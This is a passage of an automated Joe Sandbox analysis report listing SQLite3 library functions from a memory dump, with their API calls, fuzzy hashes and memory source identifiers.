                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_freesqlite3_mutex_leave$sqlite3_mutex_free
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2921195555-0
                                                                                                                                      • Opcode ID: d6fb389a4a36b59413c207fac5cbc38a44dbd5d29e5d8592e3f5a13460e77c1a
                                                                                                                                      • Instruction ID: 9331b0756bce0110006757d11a21ca1866651c1f47a768e15edfcfbf6d05531e
                                                                                                                                      • Opcode Fuzzy Hash: d6fb389a4a36b59413c207fac5cbc38a44dbd5d29e5d8592e3f5a13460e77c1a
                                                                                                                                      • Instruction Fuzzy Hash: DB519C78A046428BDB10DF69D88075AB7B2BF94318F29C97CCC99DB305D774E856CB90
                                                                                                                                      Function 61E4D7D0 Relevance: 7.6, APIs: 5, Instructions: 99COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 61E13C8E: sqlite3_mutex_try.SQLITE3(?,00000000,?,61E13CF0), ref: 61E13C2E
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E4D831
                                                                                                                                      • sqlite3_mutex_free.SQLITE3 ref: 61E4D872
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E4D882
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E4D8B1
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E4D8D0
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free$sqlite3_mutex_entersqlite3_mutex_freesqlite3_mutex_leavesqlite3_mutex_try
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1894464702-0
                                                                                                                                      • Opcode ID: 6c4143b63593bf9ad8a946237f42ef24afd1bc7d5de4cbacf81ece55ffcc6fe2
                                                                                                                                      • Instruction ID: 9ff93e042b182cdcff4ebbe447dec40cdedfb1941d05b425af29d4af7ad67ad7
                                                                                                                                      • Opcode Fuzzy Hash: 6c4143b63593bf9ad8a946237f42ef24afd1bc7d5de4cbacf81ece55ffcc6fe2
                                                                                                                                      • Instruction Fuzzy Hash: 47315274B046428BEB14DFBAD4C061AB7F5BFE9318B25C46DD848CB319EB31D8818B85
                                                                                                                                      Function 61E1B08D Relevance: 7.6, APIs: 5, Instructions: 98COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 61E1B09D
                                                                                                                                        • Part of subcall function 61E17EE8: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17BC9,?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17EF0
                                                                                                                                      • memcmp.MSVCRT ref: 61E1B10F
                                                                                                                                      • memcmp.MSVCRT ref: 61E1B134
                                                                                                                                      • memcmp.MSVCRT ref: 61E1B165
                                                                                                                                      • memcmp.MSVCRT ref: 61E1B191
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: memcmp$sqlite3_initializesqlite3_malloc
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 40721531-0
                                                                                                                                      • Opcode ID: aab163ae88a6b47f64915cecefa7d16a99da593be04877be4fd492136e5166d2
                                                                                                                                      • Instruction ID: 34956e3a23004624bfcf072aa5bc559f41bff17cb2ac7b56278acc3f98de0b10
                                                                                                                                      • Opcode Fuzzy Hash: aab163ae88a6b47f64915cecefa7d16a99da593be04877be4fd492136e5166d2
                                                                                                                                      • Instruction Fuzzy Hash: CD313E71F082458BE7049FA9C58235ABBF5FFC8748F26C42DE8488B349D775D8468B52
                                                                                                                                      Function 61E281EF Relevance: 7.6, APIs: 5, Instructions: 90COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_log.SQLITE3 ref: 61E2821D
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,61E2832F), ref: 61E28231
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,61E2832F), ref: 61E28259
                                                                                                                                      • sqlite3_log.SQLITE3 ref: 61E28277
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E282AD
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_logsqlite3_mutex_leave$sqlite3_mutex_enter
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1015584638-0
                                                                                                                                      • Opcode ID: 03fb36ac5f7ef367229dab55092dbbfcf19f89265288fc896b8f68732d7b25e8
                                                                                                                                      • Instruction ID: f083f19a711bca75dc24dc2b25f2abd40f81669102a6c8d7ee5141643e67ea9c
                                                                                                                                      • Opcode Fuzzy Hash: 03fb36ac5f7ef367229dab55092dbbfcf19f89265288fc896b8f68732d7b25e8
                                                                                                                                      • Instruction Fuzzy Hash: D031F672609650CBDB009FB8C594B4977E0EF8A729F28C469E8448F359E774C881DB42
                                                                                                                                      Function 61E42EB1 Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E42EC6
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E42ED1
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E42FAD
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E42FB8
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1477753154-0
                                                                                                                                      • Opcode ID: 4d08b4b0744c94af8c69606ddf20bc083fc9507ffdc76abc9c8576f56220c171
                                                                                                                                      • Instruction ID: 92ea79550fb683c13df4cd00447746ea460fc264249a9ff079073c68f4886c3d
                                                                                                                                      • Opcode Fuzzy Hash: 4d08b4b0744c94af8c69606ddf20bc083fc9507ffdc76abc9c8576f56220c171
                                                                                                                                      • Instruction Fuzzy Hash: 5F316FB06086428BD705AF78E48071ABBE1FF94318F64C55EE898CB345DB74E891CB92
                                                                                                                                      Function 61E331FC Relevance: 7.6, APIs: 5, Instructions: 55COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_initialize.SQLITE3 ref: 61E3320A
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E179B6
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21778), ref: 61E179EA
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17D35
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E33222
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E33245
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E33289
                                                                                                                                      • sqlite3_memory_used.SQLITE3 ref: 61E3328E
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_leave$sqlite3_mutex_enter$sqlite3_configsqlite3_initializesqlite3_memory_used
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2853221962-0
                                                                                                                                      • Opcode ID: 23a312c25d7d69ec100c6eaca2bc4d67e163e33603f4fee62feb3545c52d59e3
                                                                                                                                      • Instruction ID: 7b269cff542e65450cd2c5f2333cdb308ff48a12bd72d524f1cd8a12828694f9
                                                                                                                                      • Opcode Fuzzy Hash: 23a312c25d7d69ec100c6eaca2bc4d67e163e33603f4fee62feb3545c52d59e3
                                                                                                                                      • Instruction Fuzzy Hash: DE113A70F54A159BCB04DFADD44195D77E2BFCA614B24C92AE864CB354D770E881CB80
                                                                                                                                      Function 61E84DD0 Relevance: 7.6, APIs: 5, Instructions: 54timethreadCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetSystemTimeAsFileTime.KERNEL32 ref: 61E84E09
                                                                                                                                      • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E84E1A
                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 61E84E22
                                                                                                                                      • GetTickCount.KERNEL32 ref: 61E84E2A
                                                                                                                                      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E84E39
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1445889803-0
                                                                                                                                      • Opcode ID: edc190cf6ccea5b034b8b52c38e23706817e51787202263aeae1b29e9c74a88f
                                                                                                                                      • Instruction ID: 59811b3cc275b292c353d556c25968ec234f7859ed60cc3c12aeb49eda3c3ac5
                                                                                                                                      • Opcode Fuzzy Hash: edc190cf6ccea5b034b8b52c38e23706817e51787202263aeae1b29e9c74a88f
                                                                                                                                      • Instruction Fuzzy Hash: 1211A3B59583108FCB00EFB8E58864BBBE4FB89664F010D3AE544C7310DB35D8C88B92
                                                                                                                                      Function 61E0A912 Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,61E1431A), ref: 61E0A93C
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,61E1431A), ref: 61E0A978
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,61E1431A), ref: 61E0A991
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,61E1431A), ref: 61E0A9A4
                                                                                                                                      • sqlite3_free.SQLITE3(?,?,?,61E1431A), ref: 61E0A9AC
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 251237202-0
                                                                                                                                      • Opcode ID: f3eda28d23e30153da514b0515e133efb3a21bf7768b25a5cf77283df2ad434e
                                                                                                                                      • Instruction ID: 31ff0ee0dadd24cba0ff49ae801f0855a413db074d1c01163b8e42fbc3e77d9e
                                                                                                                                      • Opcode Fuzzy Hash: f3eda28d23e30153da514b0515e133efb3a21bf7768b25a5cf77283df2ad434e
                                                                                                                                      • Instruction Fuzzy Hash: D911F774AA4A508FCF00AFB9C29452477F5FF8A34AB654C2BD48887320E735C4D0CB52
                                                                                                                                      Function 61E2647C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free$sqlite3_win32_is_nt
                                                                                                                                      • String ID: winAccess
                                                                                                                                      • API String ID: 2284118020-3605117275
                                                                                                                                      • Opcode ID: 3eb50924d1dc64f57ceec2a0988e9aedb22e7a9a8ffae301b97b5dbe59445320
                                                                                                                                      • Instruction ID: 9305b22a626490086356d0e63f9d1042eab72bb6e7d3408aa89d3e803fb4bbee
                                                                                                                                      • Opcode Fuzzy Hash: 3eb50924d1dc64f57ceec2a0988e9aedb22e7a9a8ffae301b97b5dbe59445320
                                                                                                                                      • Instruction Fuzzy Hash: 8B318171948685CFDB00DFA8C8A439EB7F1BB89328F25CA28EC6597384D774D846CB51
                                                                                                                                      Function 61E1A253 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 61E1A271
                                                                                                                                        • Part of subcall function 61E17EE8: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17BC9,?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17EF0
                                                                                                                                      • sqlite3_realloc.SQLITE3 ref: 61E1A2BF
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E1A2D5
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_realloc
                                                                                                                                      • String ID: d
                                                                                                                                      • API String ID: 211589378-2564639436
                                                                                                                                      • Opcode ID: e778d82be7c8906666bd0ff5fe3f94cc2e5661bf9373860bb9fb6c14576a39d8
                                                                                                                                      • Instruction ID: 0c631066cbf4fa08d7bcf6560ecd030fd38e3682c5884a7dc53f570728a8340e
                                                                                                                                      • Opcode Fuzzy Hash: e778d82be7c8906666bd0ff5fe3f94cc2e5661bf9373860bb9fb6c14576a39d8
                                                                                                                                      • Instruction Fuzzy Hash: 5321E6B5A08255CFDB00CFA9C4C1B99BBF4EF89314F248469C9489B319E779E845CBA1
                                                                                                                                      Function 61E1EEFC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_value_int$sqlite3_result_blob
                                                                                                                                      • String ID: 8
                                                                                                                                      • API String ID: 2918918774-4194326291
                                                                                                                                      • Opcode ID: 3b4558998f03f0f8d720dc5d23eeeeebf0f63cba4009bf22359312ea7e28c22a
                                                                                                                                      • Instruction ID: 53da35cb102cfa1b6c82c6743a61b423be6c73d6f643334cd8418a593aabd865
                                                                                                                                      • Opcode Fuzzy Hash: 3b4558998f03f0f8d720dc5d23eeeeebf0f63cba4009bf22359312ea7e28c22a
                                                                                                                                      • Instruction Fuzzy Hash: A21156B59043068FCB04CF6AD48098ABBF5FF88364F15C56AE8188B320E335E951CB91
                                                                                                                                      Function 61E28174 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 61E28068: sqlite3_log.SQLITE3(?,?,?,?,?,61E2811B), ref: 61E280A3
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E281A7
                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 61E281C0
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E281DA
                                                                                                                                        • Part of subcall function 61E25809: sqlite3_log.SQLITE3 ref: 61E25832
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
